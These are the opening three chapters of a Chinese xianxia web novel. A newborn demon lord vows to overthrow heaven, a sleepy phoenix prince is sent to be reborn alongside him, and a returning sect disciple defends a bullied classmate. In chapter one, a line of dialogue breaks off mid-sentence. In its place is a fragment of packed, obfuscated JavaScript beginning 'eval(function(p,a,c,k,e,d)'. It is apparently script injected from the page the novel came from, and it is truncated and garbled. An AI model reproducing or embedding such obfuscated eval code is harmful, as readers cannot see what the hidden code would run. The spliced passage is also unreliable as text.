《渡魔》 1. 第一章 应长天之下,雷声轰鸣不断,云层暴怒翻涌。 少年仙人卧在美人榻上休憩,白衣广袖坠地,被雷声吵醒,向下望了一眼。 半晌无可奈何地翻身捂住耳朵。 “这几日的天雷声越来越频繁了。” “……好吵。” . 不坠天魔窟。 猩红的魔气自四面八方汇聚而来,整个魔窟开始轻微震荡,墙壁上的碎石扑簌簌砸向开裂的地面。 万千魔族皆有所感,犹如被某种本能支配般,转身缓缓跪拜向某个方向。 神情颤栗、恐惧而又虔诚。 在那万魔朝拜的极深深处,浓郁惊人的魔气不断翻腾,有如献祭,疯狂涌向空中漂浮的漆黑魔核。 那魔核不知是什么邪物,通体如浓墨般浑黑,却还能发出某种诡异的光芒,好似能够吞噬万物,只看一眼就觉得邪恶至极。 千丝万缕的魔气逐渐被吸收,魔核的力量生长到了极致,突然“睁”开了一只眼睛,开始充盈般震颤、拉长,凝练出一个影影绰绰的“人”的形状。 “恭贺魔尊临世——” “恭贺魔尊临世——” 魔尊·梵湮睁开双眼,自高处落下,长靴点地,魔气化成的绯红衣衫逐渐包裹起他苍白无血的皮肤,无风自舞,周身冲天而起的邪气铺满了整个魔窟。 魔尊降世初化人形,长发狂乱飞舞,瞳孔猩红,面貌极难描述——令人不敢直视的,非人的诡异、锋利与艳丽。 梵湮面无表情,一步一步踏下台阶。 跪伏朝拜的众魔感受到了一股恐怖的威压,头伏的越来越低,一些修为低下的魔族甚至在此威压下瞬间灰飞烟灭。 魔气汇聚而成的绯红衣摆逶迤而下,像一袭粘稠的流淌涌动的血。 梵湮走到杀星殿中央,站定。 一把黑色长弓自他的手中化出,此弓乃是魔尊出世伴生的魔器,有毁天灭地、弑神之威。 梵湮张臂拉弓,魔气凭空化成一支剑弩的形状,随着他的动作不断生长拉长。 轰隆—— 一道雪亮的天雷劈落在不坠天,将整个魔窟照的大亮。 梵湮抬头望向杀星殿上方的刹那生光的天穹。 不坠天魔窟长年晦暗的天空之上,滚滚咆哮的雷云之上,九重天之上,乃是六界仙神的居所——应长天。 梵湮在越发密集的天雷声中缓缓开口。 “此箭为令,本尊必定踏平应长天,诸神黄昏、天下俯首。” 他的声音沉冷,听不出任何语调、感情,只充满令人毛骨悚然的危险。 魔众:“踏平应长天、一统六界!” “踏平应长天、一统六界!” 梵湮手中的弓弦已经拉到了极致,剑弩之上凝结的力量越发强大恐怖,他缓缓将长弓向上空抬起。 这一箭,可穿过魔窟、穿透雷云、穿破九重天结界……预兆杀伐、直至弑仙而落。 游梦仙里睡觉的少年又翻了个身。 箭在弦上。 就在这时,一口血猝然自梵湮魔尊的口中喷了出来,魔弓立刻消散。 暗红的血珠落到了杀星殿的台阶上,腐蚀万物,发出了“滋滋”的声响。 梵湮魔尊的神情终于有了细微变动,像是感知到了身体某种不应有的变化。 他抬起手,细长的指尖插入眉心有如半边鬼焰菡萏般的魔罗印记,从体内挑出了一丝魂魄,置于指尖之上端详。 少顷,那一丝离体的魂魄渐渐消散。 梵湮的眉梢微不可见地挑了挑。 指尖轻捻,似是意外,似乎又觉得有趣。 唇中缓缓吐出二字。 “死、劫……” . “报——魔窟异动!” “神尊,魔族探子回报,魔尊·梵湮突然降世,性情极端残暴杀伐,扬言必定会踏平应长天,一统六界!” 长生殿内,正在例行朝会的众仙家闻之骤然色变。 “什么?新魔尊临世了!?” “岂有此理!这魔头竟如此狂妄!” “六界,恐怕要再起战乱了……” “这、这可如何是好啊……” “三千年前天魔大战,前任战神倾尽全力,方与上一任魔尊·迦罗同归于尽,没想到那么快,新的魔头就要降世了。” “是啊,当年神魔大战,使得天界元气大伤,仙神死伤无数,战神之位至今空悬。天界如今战力不足,要如何与魔族一战、如何应对此次危机啊!” …… 位列众仙神之上的洛音神尊开口,压下了神殿内惶杂的声音:“可否还有其他消息?” 天兵不敢抬头:“有,那探子说,听闻梵湮魔尊为了冲关提升修为,准备将自身一魄抽出,送入凡间转世历劫,化解其命中劫数。待到那一缕魂魄归位,那魔头恐怕就要出关、杀上应长天了!” 北斗星君抚须道:“天上一天,地下一年。即便是去凡间走一遭,给天界应战的时间,也最多不过几十日啊。” 兆月星君道:“魔族向来生性残暴,重杀伐,梵湮更是那群魔之首,倘若真待他顺利出关,届时生灵涂炭、天下大祸,请神尊早日定下应对之策!” 洛音神尊自神座起身,神色冷肃:“此事本座已知晓,事关天魔两界之战,本座需仔细定夺,众仙家先行散去吧。” 仙家们三三两两地离去,走的时候嘴里还念叨着“大劫将至”。 天机转身欲走,却听见那神殿之上的神尊唤他。 “天机神君,你留下。” 天机便停住脚步,只揣着手站在旁边。 洛音神尊负手在空旷的神殿中央来回踱步,许久低声道:“梵湮魔尊……若他此次渡劫成功,修为必定大涨,六界之内恐怕再无敌手。必须要设法,中断他渡劫。” 天机道:“神尊所言甚是。” 洛音沉思道:“天道法则之下,众神皆不得干预凡间历劫,否则必遭重噬。唯今之法,只有从天界选出一人,与那魔头一同转生下界,在人间与他周旋一番。” 天机拱手作揖:“神尊圣明。” 洛音神尊道:“只是,关于这个人选,本座尚未拿定主意。” “天命,是否有所指示?” 天机似是已猜到洛音神尊陛下会有此一问,掌心托出天机命盘,一轮巨大的雪白圆盘浮现于虚空之中。 天机乃司命之神,可预测未来、推演天命,无数变动的命轨在天机命盘中交错,有如无穷光华天幕,万千星辰闪烁其中。 天机一手掐诀,指尖散出点点星芒,他闭目推演片刻,不知在天象中看到何种结果,神色竟变得非常古怪起来。 他跟洛音神尊对视片刻,缓缓跪地道:“启禀神尊,天象所指之人,乃是三殿下,重华。” 洛音明显没有想到竟会是这个结果,反问一声:“重华?” 天界共有三位神子。 大殿下与二殿下,皆是天界仙神翘楚,早已修成大道。 唯独这姗姗来迟的三殿下,天生神识不齐、灵根有损,用了一千年才勉勉强强修出人形,连仙侍们养的神兽都打不过,大概只是起到一个吉祥物的作用。 又性情舒懒,平生最大乐事便是打瞌睡,乃是一条天界著名咸鱼。 ——能够对抗梵湮魔尊之人,怎么可能会是重华? 不仅如此,天机神君从那预示命盘中测算的,还有更加匪夷所思的命缘。 说出来可能会被直接拖出去砍了。 可眼下事关六界,天机只能硬着头皮、实话实说,“……根据天象所示,梵湮魔尊,是三殿下的情劫,亦是死劫。唯有亲历,方可破解。” “什么?”洛音闻言神色微变,“重华和那魔头的纠葛竟如此之深?” 天机正色道:“命运因果有常,一切皆由天定。这件事对于三殿下而言,或许未尝不是一场机缘。” “但此行也势必危险重重,一念之差、万劫不复。” 洛音神君神情凝重,半晌未语,偌大的长生殿安静到针落可闻。 许久才道:“本座知道了。你先退下吧。” 天机领命而去。 游梦仙。 下重天的雷声实在是太吵了,重华被吵的头疼,又捏不出静音术,只好化出了原身,两个翅膀遮在耳朵上,一下什么都听不见了。 以如今重华的修为,还没有资格踏入长生殿,肩上挑不起二两沉的担子,外界纷扰一概不知,颇有些少年不知愁滋味的意思。 洛音神尊进入游梦仙,便看到一只火红的小凤凰趴在水池边的荷叶上,以双翅蒙头,盖住了整个脑袋,华美而绚丽的尾羽垂落下去,将将未触着水面。 察觉到有人进殿,那凤凰只是微微抬眸一瞥,鎏金熔火似的浅金色眼眸半睁开,不经意流泻出一缕光泽来。 小凤凰懒洋洋“啾”了声:“父神。” 洛音扫他一眼,不轻不重训斥道:“青天白日,以真身在殿中胡闹,成何体统。” 小凤凰有理有据道:“我在这晒晒太阳,吸收天地灵气,说不定还能增进修为呢。” 洛音神尊头疼叹息:“重华,你随我进殿。” “为父有一件关系六界安危的正事,要托付于你。” 小凤凰自诞生至今,还没干过一件“正事”,更别说“关系六界安危”,重华闻之惊的赶紧衔了口仙池露水,扑棱棱飞到陛下的旁边,抬爪跟在他的身后,进了内殿。 洛音将梵湮魔尊一事来龙去脉告知于他。 重华听到天界要派他去对付魔尊,大为震惊地扑腾了两下翅膀:“听闻古来历代魔尊都实力强悍,三头六臂,以我之神力,维持真身都勉强,让我去打魔尊,不是去送人……送鸟头吗?” 他倒不是自谦,古来凤凰一族都是战斗分子,偏偏到了重华这儿,天生瘸了半边,能扑腾着飞起来就不错了。 洛音神尊未与重华言说他与梵湮的命定纠葛,只是道:“天机已预示,你是天界之中最合适的人选,亦是最有可能,阻止这场浩劫之人。” 重华心道:原来如此,怪不得父神会让他做这件事。 小凤凰的身躯拉长,虚空中流光溢彩的凤凰神像一显而过,蜕变成少年人的模样。 少年着一身艳艳红衣,骨骼纤薄,清瘦俊秀。 这位重华殿下生的极好,清丽漂亮的一张脸,瞳仁是凤凰一族剔透的浅金色,眉眼间依稀能瞥见一丝神性。 只是因为化形术不完全,白皙的耳朵上还别了一根红色鸟毛……啊不,凤翎。 重华双手揉了下脸,蹙眉担忧道:“父神说那梵湮魔头性情凶恶残暴,万一他与我刚见面,就啪一巴掌把我拍墙上……” 洛音神尊宽慰道:“吾儿不必忧心,即便是魔尊,到了凡间,不过是一具寻常肉体凡胎。” 若非如此,他也不会让重华冒险去人间走这一遭。 重华闻言长舒一口气,又好奇问:“下凡渡劫,他渡的是什么劫?——那种大魔头也要渡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“拯救六界苍生的重任,就托付殿下了。” 重华“嗯”一声,给自己加油打气。 那梵湮魔尊再怎么凶残。 到了凡间,不过是两具肉体凡胎互相扯头花。 待他记忆苏醒,找到那大魔头,先下手为强,直接杀了便是。 重华拍拍胸脯:“我明白了!谢谢天机叔叔!” 说罢他抬步走入水镜,身形逐渐隐没于其中。 奔赴一场未知的宿命。 天机望着重华在镜中消散的背影,只是长长叹息一声。 “怎么愁眉苦脸的,”月老走过来揽住天机的肩膀,“不如你掐指算一算,三殿下此行结果如何,天界能否安然化解这一场劫难?” 天机:“不可说,不可说……” . 人间。 十九年后。 苍梧仙山。 高大茂密的千年梧桐树下,一群剑修弟子围在一起,不时有尖刻的奇腔怪调冒出来。 “——就你也配当我们苍梧派的弟子啊,资质那么平庸的小废物,凭什么跟我们一起修习苍梧剑法。” 一位孱弱少年受伤倚靠在树干上,似乎也是苍梧弟子,只是穿着身寡淡的白衣,身形极为削瘦。 说话的剑修似是对少年非常不满,在他的身上踢了一脚,“告诉你,平日我们练习的时候不准来碍眼。” “否则见你一次打你一次,听见了没有?” 地上的少年没做声,似乎没有听见,或是根本不想回答。 剑修见状又是一脚狠狠踢到了那人身上,这一脚力道不轻,少年身体直接被踹飞在地上,控制不住咳嗽一声,唇边很快渗出了一丝鲜红的血迹。 旁边弟子看他吐血,神色轻微一变,上前劝阻道:“大师兄,还是算了吧,跟他计较什么……万一真打出了什么事,咱们还得跟着他受罚。” “放心吧,宗祭这小子命硬的很,” 赴青阳阴阳怪气地冷声道: “那句话怎么说来着,天煞孤星,自己命硬,别人碰见他都觉得晦气。” 宗祭单手撑着地面,直起身,苍白指尖上沾了几颗细小沙砾。 他微微抬头,掀开眼皮,乌黑的眼珠冷冷看了赴青阳一眼。 赴青阳看他这模样,愈发觉得可恨了,还想往他身上再补上两脚,这时,一个蓝衣弟子沿着山路台阶急冲冲的跑了上来,“快、快去山门……” 他一路狂奔过来喘的上气不接下气,语气却是极为兴奋,“兰烛师弟回来了!” 赴青阳神情豁然一变,喜上眉梢:“什么?兰烛小师弟回来了!?” “兰烛回来了……” “快走快走,快去看看!” “兰烛师弟——” 顷刻间的功夫,一群弟子全都散去,乌泱泱涌下了山门。 几滴血迹静静落在飘落的金色梧桐叶上。 宗祭慢慢扶住手边粗糙的树干站起来,低垂着眼,乌黑长睫之下看不清他脸上的神情。 宗祭抬手蹭去唇边的血迹,一只手捂在腹部,忍痛直起身,本想直接回房疗伤。 不知想到了什么,眼珠微微转动,慢慢转身向山门的方向走去。 山下已聚集了很多弟子,宗祭不欲靠近,只站在高处一道山壁之后,从石壁后方探出半边脸。 ——方才对他冷嘲热讽的那些“同门师兄”们,此时皆挂着笑脸,兴高采烈地簇拥着什么人。 那是一个穿着身月黄色的织锻、扎着高马尾的少年,气质不凡,长身玉立,在人群中格外瞩目。 只是距离太远,宗祭看不清那人的面貌五官,只见到山下如众星捧月般的模样。 宗祭轻轻开口道: “他们叫他……兰烛。” —— 2. 第二章 兰烛是苍梧派掌门兰横秋之子,天资出众、根骨奇佳,初学苍梧剑法时,剑术就已经比年长他三五岁的师兄们还要精湛,后来被隐世高手空法大师选中,收作了最后一位关门弟子,在蓬莱仙岛修行数年…… 不知缘何,今日突然回了本门。 “小师弟,多年不见,想死你啦!” “兰烛小师弟,这些年在蓬莱仙岛修行如何?” “离开宗门这么久,有没有想我们啊?” “兰烛……” …… 兰烛被困在人群中间,寸步难行,只能不住小鸡啄米似得点头。 兰烛已经离山太多年,从前许多师兄弟如今已经大变了模样,他根本认不清眼前的谁是谁,奈何师兄们又太过热情,一个接一个地挤过来跟他打招呼。 兰烛只能有些尴尬地回应。 “嗯……师兄好……” “师兄好……” “这位师兄也好……” 不管是哪位,一概叫师兄总是没错的。 赴青阳清了清嗓子:“好了,都别在这儿站着了,兰烛一路风尘仆仆地回来,我们先回师门在说。” 说罢便伸手去拿兰烛背上的行囊,兰烛推脱不过,只好将行囊给他。 一行人熙熙攘攘地上山。 兰烛还记得这位大师兄,询问道:“师父呢?” “师父他老人家前段时日内息不顺,已经闭关一年了,”赴青阳道,“现在宗门上下大小事务都是慈济师叔来管理。” “不过师父若是听到你回来的消息,肯定会见你一见的。” 听见他的话,兰烛心里嘀咕一句:爹爹闭关了……?那今日怕是见不到了。 将近八年没有回来,苍梧山与兰烛印象中的模样已是大不相同了,许多庭院都重新修缮过,山上的梧桐树也愈发枝繁叶茂,满园金色。 赴青阳在兰烛身旁附耳道:“小兰烛,当初你离开师门没多久,师父就带了一个没爹没娘的怪胎回来。” “那人性格邪门古怪的很,你若是见到了,记得离他远一点。” 兰烛关注点奇特:“师父竟然收了一个新徒弟?” “对。” “你这次回来也没提前传信说一声,整个师门都没准备什么,这样,我让膳房今日多做些山珍海味,咱们师兄弟们凑一起吃顿饭,给你接风洗尘。” 兰烛其实并不喜欢这种太过热闹的场合,但也不愿辜负他们一番好意,于是颔首一笑:“谢谢师兄。” 众人将兰烛送入一间别院,门匾上刻着“献仙音”三个浅金色的文字,那是兰烛从前在苍梧山的居所。 只是许久没人居住,四处都散落了一层灰尘。 兰烛抬眼望着自己的庭院,喃喃道:“许久不见了。” 他推开门,抬步走入房中。 桌子、柜子、门窗上皆蒙着一层细细的尘埃。 兰烛一拂袖,一股如水流般轻缓的内力拂过,房中的灰尘尽数飘起,在半空中打了几个卷,最后如漩涡般卷成了一小团,被兰烛随手摘下的一片大荷叶包裹起来,一块打包扔进了储物桶里。 兰烛打扫完屋子,收拾好带回来的行李,先去飞鸟阁拜见了如今的代掌门,慈济师叔。 “一转眼小兰烛都长这么大了,若是别处偶遇,怕是不敢相认,”慈济满脸慈爱地看着他,“只是掌门不巧在后山闭关,如今正是紧要关头,我也只能为你通传,若是掌门方便见你,自会寻得时间与你一见。” 兰烛叩谢道:“那就劳烦师叔了。” 依次拜过宗门中几位长辈,兰烛揉了揉跪的有些发疼的膝盖,缓步走回献仙音。 途中路过一处别院,兰烛的目光稍微顿了顿。 兰烛印象里这间屋子本是无人居住的,幼时他每次练完剑回到房中,都会经过这里。 但现在似乎住进了一个人。 那人只穿着件浅紫色的内衫,满头乌黑长发被一根发带简单挽在背后,挽着袖子,在院外洗衣服。 以兰烛的角度,只能看到那人的半张侧脸,线条极为清晰,鼻梁挺直、眉骨立体,远远看着就觉得应当会是一个很好看的人。 年纪看起来应该跟他差不多,只是兰烛觉得自己似乎从来没有见过这个人,连“眼熟”的感觉都没有。 兰烛犹豫了一下,不知这是哪位同门,正想上前去打个招呼,那人却端着水盆起身,走回了室内。 天色渐晚,头顶已经烧起红霞,快要到跟大师兄约定的聚会时间,兰烛没再停留,走向一间山中小筑。 阁楼内已经摆了满桌的菜肴,一眼望过去皆是山珍海味,待兰烛落座后,这场“洗尘宴”便开始了。 兰烛一路风尘仆仆地赶回来确实饿极了,也没跟他们客气,夹起一个热气腾腾的鸡腿开始吃了起来。 一位同门道:“小兰烛的造诣从前就是我们师门里最高的那个,如今在空法大师门下修行数载,武功还不知道精进到了什么程度,恐怕咱们整个师门也没人是他的对手吧。” 空法大师退隐前乃是武林之中数一数二的高手,修为已臻化境,兰烛作为他亲自选中的最后一个关门弟子,必定是倾尽自身心血来培养的。 兰烛两颊塞的满满当当,腮帮子鼓鼓的,声音含糊道:“不敢当,在蓬莱仙岛做的最多的两件事就是吃饭和睡觉,师父说我还不如三花勤快。” “三花是谁?” 兰烛:“师父在岛上养的一只花皮小猪。” 众人顿时哈哈大笑起来,前仰后合。 明月高悬,山中雾气与月光清晖缭绕,细微的蟋蟀声在夜色中此起彼伏,不时有弟子们开怀大笑的声响传入其中。 一顿洗尘宴快近尾声,赴青阳突然道:“兰烛,刚好借着你这次回来,我们打算举办一场宗门的比武大会,算来,已经有三年没办了。” “不知你意下如何?” 兰烛吃下最后一口蟹黄饭。 其他师兄弟附和道:“对啊,也好让我们看看小师弟现在的功夫,开开眼界啊。” “说不定还能看到空法大师的绝学,当年那一招「锁尘寰」可是技惊四座啊。” 兰烛放下筷子:“自然没问题。” 一锤定音。 洗尘宴散场,夜色浓重,赴青阳与同屋舍友淮婴一同沿着山中台阶一起走回别院。 淮婴感叹道:“小师弟跟以前好像没有什么变化啊。” “兰烛小时候性格更可爱些,”赴青阳若有所思道,“此次回来……我倒是觉得他同我们疏远了许多。” 淮婴道:“在他身边的时候,我完全感知不到他的内力,兰烛如今的修为,恐怕已经跟掌门不分上下了。” “他是我们苍梧派的小师弟,日后兰烛在江湖上出人头地、名扬天下,整个宗门都能跟着风生水起,自然是件好事。” 赴青阳又道:“这次比武大会,让宗祭那小子也出出风头。” 淮婴有些意外:“你平日里不是最不愿意看到他吗,让他来做什么?” 赴青阳看了眼腰间的佩剑,心里不知道又打起了什么坏主意,语气深长道:“既然是比武,自然是要跟他好好……切磋切磋。” 三日后,山间小院。 宗祭背身站在庭院内一棵梧桐树下,垂眼,白皙指尖在亮银色剑身上轻轻抚摸。 “宗祭!”一个弟子远远跑了过来,颇有些不满地看他,“今日宗门召开比武大会,其他师兄们都到了,你怎么还站在这儿呢。” 宗祭眼也不抬道:“我没有兴趣。” 那弟子挑衅般打量他两眼,抱臂道:“大师兄说了,让你也去,还是……得要我请你过去啊。” 宗祭神色一顿,眼里似乎划过某种暗色,他没说话,直接转身向比武会场的方向走去。 上次宗门比武已是三年前的事了,这回还特意新搭了一道擂台,苍梧派七十多名弟子皆可参与,不过以往都是年轻同辈之间的比试,这次兰烛回来,有不少“师叔”级别的长辈们也来看热闹。 “本次比武双方使用武器皆为木剑,招式点到为止,不可伤人。” “主动投降者输。” “武器脱手者输。” “被击落擂台者输。” 主持的苍梧弟子看向兰烛,笑吟吟地邀请:“兰烛师弟自然是第一个登台的了?” 兰烛也没推脱,从台下飞上了擂台,接过木剑,在擂台中央站定。 “谁想做第一个来挑战的人?” “………” 其他弟子你看看我、我看看你,没有敢上前的。 就在这时,一道身影掠到了兰烛身旁。 慈济师叔道:“小兰烛,我这把老骨头先跟你过两招。” 兰烛负剑而立,恭谨道:“师叔请。” 慈济的剑式乃是非常正宗的苍梧派剑法,起落之间大开大合,雷霆浩荡,如刀如电,迅疾而又锋利。 兰烛则截然不同,他的剑势很轻,整个人也很轻,武器在他的手中灵巧的不似一把长剑,更似一花一叶,飘逸轻灵、精湛玄妙。 兰烛飞身避过师叔的攻势,尚未落地,慈济又一剑刺向他的下腹,兰烛以剑尖相抵,武器碰撞“铮”一声轻响,兰烛借力在空中回身瞬间反手送出一剑,慈济抬剑格挡,只觉手臂一麻,右脚向后退了一步,方稳住身形。 以二人的修为,胜负只在分毫之间,只是前三招交手下来,慈济便已经知道自己并非兰烛对手,只是难得遇到一位后辈能与他打的有来有回,不免兴奋至极。 慈济振声道:“再来——!” 擂台上两道身影交错起落,电光火石之间二人已交手数百招,木剑相撞都能蹦起火花,下面的弟子已经跟不上二人的速度,看的眼花缭乱。 “兰烛跟慈济师叔打起来,完全不落下风啊!” “我看不止是不落下风那么简单。” “小师弟竟然这么厉害,慈济师叔可是掌门之下武功最强的长老了。” ……… 又过百招,慈济已明显落了下风,只是兰烛自然不可能将师叔打落擂台,最后是慈济先收了剑,赞赏地拍拍兰烛肩头,似欣慰似感叹:“以后这江湖,是你们年轻人的天下了。” 说罢,大笑着离开了比武会场。 兰烛被长辈如此夸赞,难免有些不好意思,腼腆一笑,揉了揉红红的耳朵。 如此战过了几位师叔,终于轮到了同门师兄们 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他毕竟是宗门的大师兄,平日里一呼百应,结果被兰烛两招就打飞了武器,到底还是有些难堪,赴青阳旁边几个弟子都没有敢说话的。 陆陆续续有宗门弟子跟兰烛交手比试,宗祭根本不欲参与这些无聊热闹,只站在一处角落冷眼旁观。 如此一炷香时间,兰烛意兴阑珊,便不打了,弃剑下台。 赴青阳突然出声道:“宗祭,你上去试试,我同你过几招。” 说罢,赴青阳未等宗祭回答,直接上了台。 赴青阳从来将宗祭视作眼中钉,处处跟他找麻烦,此次比试想必也不怀好意。 宗祭盯着他的背影,垂了垂眼,而后走上台,接过武器。 兰烛刚回到师门,自然是不知晓他们其中恩怨的,坐在台下最佳观众席,将一颗酸甜的果干塞进嘴巴里,眨巴了两下眼睛,兴致勃勃地准备看他们切磋。 但没一会儿,兰烛就察觉到有些不对劲。 这个名叫宗祭的弟子,修为显然是不如大师兄的。 但是…… 二人砰一声对掌,下一秒赴青阳收掌上前,侧身一剑狠狠击中宗祭腹部。 只是这一剑刚好被赴青阳的身体挡住了,下面的人看不到他背地里搞的小动作,还在吆喝着拍手叫好。 只是,其他人可能看不出来,但兰烛却看得清楚明白,赴青阳已经不是点到为止的程度,每一招都是结结实实落在宗祭的身上。 若是加了内力,即便只是木剑,也必定疼痛万分。 果然如兰烛所料,这一击过后,台上的宗祭轻微向后踉跄了一步,赴青阳乘胜追击,又是极为隐蔽的一剑。 宗祭显然受了伤,面色比方才还要苍白许多,额间细微的汗水沁了出来。 兰烛缓缓皱起眉。 他不知大师兄为何要这样做。 兰烛对这位大师兄的印象还停留在八年前、跟他一同在宗门中修练剑法时和善可亲的模样,而如今八年时间过去,他似乎……有些不太了解这位师兄了。 这已经有违举办这场比武大会的初衷,兰烛正打算寻个理由制止他,赴青阳却突然“不敌”,被宗祭一招击退,佯装木剑脱手,扬声道:“——我输了,还有谁想上来挑战?” 台下的淮婴早有准备:“我来!” 二人轮换上场。 若是赴青阳方才还“暗度陈仓”,淮婴就是直接连演都不演了,接二连三“不小心”将武器打在宗祭身上,留下道道伤痕,还装模作样地问他:“怎么样宗祭师弟,要不要认输啊?” 宗祭不言不语,单手捂住腹部,身体微微弯曲,神情冷冷地瞪着他。 宗祭其实生的很好看,面若好女,只是一双瞳孔颜色深黑,抬眼看人的时候,衬得眼珠的下三白格外明显。 跟他对视久了,有一种被阴冷的毒蛇盯着的毛骨悚然。 所以苍梧山的弟子都非常讨厌他,赴青阳更是其中“翘楚”。 横秋掌门没闭关的时候,其他人尚且不敢造次,横秋闭关这一年时间,赴青阳对宗祭积攒已久的怨气、不满,从前往后一块清算,全都稀里哗啦地扣在了他的头上。 其他人自然也是一呼百应。 “啪”的一声。 宗祭的手背上又一次“不小心”被抽出了一道明显的红痕。 宗祭的状态看起来已经很不好了。 脸色很白,乌黑鬓边冒出了细密的冷汗,唇上没有一丝血色。 但他依然站在擂台上,剑也还握在手里。 兰烛不知道他为什么不认输。 那些同门分明是在故意戏耍、伤害他。 玩够了就故意“认输”,换下一个人上来,如法炮制。 而其他人……不知道是根本没有发现,还是,似乎已经见怪不怪。 明明只要认输就可以下台了。 明明只要认输就可以不受这样的欺凌了。 为何还要坚持呢。 轮到第四个人上台的时候,兰烛突然站了起来,旋身飞落到擂台上。 3. 第三章 兰烛来到宗祭面前,接过一把木剑。 宗祭抬眼看他,眼神冷冷的,脸上没有任何表情,与面对前面那些人没有什么不同。 兰烛做了一个“请”的手势。 宗祭知道他就是兰烛。 是那个刚回到宗门就在被众人堵在山门夹道欢迎的那位“小师弟”。 但他不知道兰烛为什么会站在这里,也没有兴趣知道。 不管是在台下看着好玩、所以想要自己也试一试,还是其他的什么原因。 都没有任何区别。 宗祭主动出剑,兰烛便见招拆招、抬剑一挡。 兰烛感觉到宗祭握剑的手有些不稳。 大概已经受了许多皮外伤,虽然不至于伤及五内,但想必拉扯一下也是很疼的。 兰烛佯装与他过了几招,下次武器交锋时反手向上一抬、一挑,宗祭手中的木剑直接飞了出去。 兰烛道:“武器脱手。” “你输了。” “………”宗祭先是看着脱手落地的剑,又慢慢转过头,神情古怪地盯着兰烛。 兰烛看他原地不动,又重复一遍,“你输了。” 宗祭抿唇,眼尾一斜,似乎是瞪了兰烛一眼,然后转身离去。 兰烛:“…………?” 兰烛心道:他刚刚是不是瞪我了? 他瞪我做什么? ?? 兰烛的脖子跟着宗祭离去的身影一路转了个弯,一头雾水,然后抬步追了过去。 “站住……你等等!” 宗祭喉间泛起一丝血腥味,他轻轻咳嗽一声,快步离开剑阁。 没走两步,似乎有什么东西在他的眼前飘落了下来。 宗祭抬眼一看,是个人。 “你没事吧?”兰烛道,“受的伤很严重吗?” 宗祭没理他,继续抬步往前走。 “……你怎么不理人,这样很不礼貌的,”兰烛亦步亦趋跟在他的旁边,嘀嘀咕咕碎碎念,“你刚刚走的时候是不是还瞪我了,为什么瞪我,我哪里招惹到你了吗。” 宗祭语气很淡:“何必多管闲事。” “……闲事?”兰烛气的眼珠都瞪大了,“我救了你,你说我多管闲事。” “难道你还想留在那里继续挨打吗?” 宗祭只是冷冷地看了他一眼,似乎根本不愿意跟他多说废话,绕过他往前走。 兰烛扯住他的袖子不让走,又问道:“你这个人好奇怪,所以为何不认输呢,只要认输不就好了吗?” 宗祭闻言缓缓转过头——脑袋先转了过来,眼珠慢了一拍,以至于这个动作看起来有种机械般的古怪。 他意味不明嗤笑一声,直勾勾盯着兰烛的眼睛,问:“你为什么觉得,我有认输的资格呢。” 兰烛没听懂这句话的意思。 宗祭向前一步,鼻尖几乎贴到兰烛的鼻子,吓得兰烛连忙倒退了一步,“不认输有不认输的玩法,认输自然也有认输的玩法。” “他们若是玩的不尽兴,就不会舍得轻易结束。” “今日你拦下他们,” “明日他们便还会来再找我的麻烦。” “所以你多事。” 语气如此波澜不惊……兰烛皱皱眉,“他们为什么要这样欺负你?” 宗祭冷嘲一声:“若是好奇,你便去问他们。” “……”兰烛噎了一下,“算了,不说这个了。” 宗祭也根本不想跟他多说什么,转身欲走,一只手却过来拉住了他的手。 那是一只很柔软的手,柔软的甚至不太像习惯握剑之人的手,还有点潮湿的温热。 兰烛抬起他的手,手背被打过的地方已经红了一大片,快要发紫了,看起来就很疼。 “也不知道你伤的重不重,我先为你找点外伤药敷一下吧,不然睡起一觉明天会很疼的。” 宗祭莫名地盯着他,把兰烛的手甩开,“不用你管,走开。” “不要再跟着我。” 说完头也不回地走了。 兰烛原地眨巴了一下眼睛,摸了摸被甩开的那只手,看起来好像有点委屈。 “这应当便是师兄说的那个性格孤僻古怪的人了。” 兰烛闷闷道,“只是,师兄们为何要这样欺负他呢。” …… “——你说那怪胎啊,本来师父刚把他带回宗门的时候,我们师兄弟对他都是非常关照的,毕竟那是自你之后的又一位小师弟。” “结果呢,谁成想这小子却是一个根本养不熟的白眼狼,冷血冷情,一点都不知道知恩图报。” “给他再多好,他也是一副狼心狗肺的模样,平日里别说见面打招呼了,连正眼看都不看我们一眼,跟我们有什么深仇大恨似的。” “真不知道师父留下这种东西在宗门里做什么。” 兰烛问:“那宗祭伤害过你们吗?” 赴青阳一愣,而后迟疑地道:“……没有。” 兰烛一针见血道:“所以,你们对他的付出、示好,没有得到想象中的回应,就开始讨厌他、欺负他了?” “……”没想到兰烛会是这个反应,赴青阳的脸色有些难看起来,急急辩驳道:“兰烛,你不知道,这小子就是怪胎一个,他……” 兰烛道:“这跟你们欺负他有什么关系,难道只是因为他性格古怪就要挨打吗?” 兰烛的语气平铺直叙,并无责怪之意,只是非常不解:“既然他不理你,你也不理他就是了,为何要如此戏弄、欺凌呢?” 赴青阳像是被噎了一下,梗着脖子说不出辩解的话,只能继续嘴硬道,“那小子古怪的很,你去跟他相处几日便知道了,不过我劝你少管他的事,小心也被他好心当作驴肝肺。” 兰烛不赞同道:“你们今日之行实在太过分了,都是同门师兄弟,怎么能……” 这时,一个弟子跑了上来,打断了二人的对话:“小师弟,可算找到你了,掌门知道你回来了,让你去见他呢。” “爹爹?!”兰烛立刻站了起来:“我这就去!” . 横秋闭关之地乃是苍梧山后山寒泉,兰烛一路轻功掠过去,刚进入洞口,便感觉到了扑面而来的一股寒意。 “阿嚏——!” 兰烛一进去就打了个喷嚏,冻得摸了摸胳膊,凝起内力抵御寒气。 他哆哆嗦嗦道:“好冷啊……” 走到洞穴深处,冰冷水雾升腾之中,兰烛看到一位在寒泉冰莲之中打坐的长者,正是兰烛的父亲,苍梧派掌门横秋。 兰烛几步跑了过去:“父亲!!” 正在静坐的横秋睁开眼,问道:“阿烛,为何突然回山?” 兰烛道:“……空法师父说,我尚有一段命定的尘缘未解,所以要我入世,若是有缘,自会与他再见。” 他在寒潭一旁席地坐下,“不过师父说的云里雾里……我也不懂他说的是什么。” 空法大师能够名震江湖,不仅仅因为他武功已臻化境,更玄妙的是他天生阴阳异瞳,有“观命”之能,可以看到某个人的命数,甚至可观生死,并且从未言错。 兰烛正是得他预言,需入尘世结缘,才离开了蓬莱仙岛。 横秋道:“既然空法大师有此一言,你便去尘世之中走一遭吧。” “你今年已有十九岁,快要年及弱冠,许是一段良缘。” 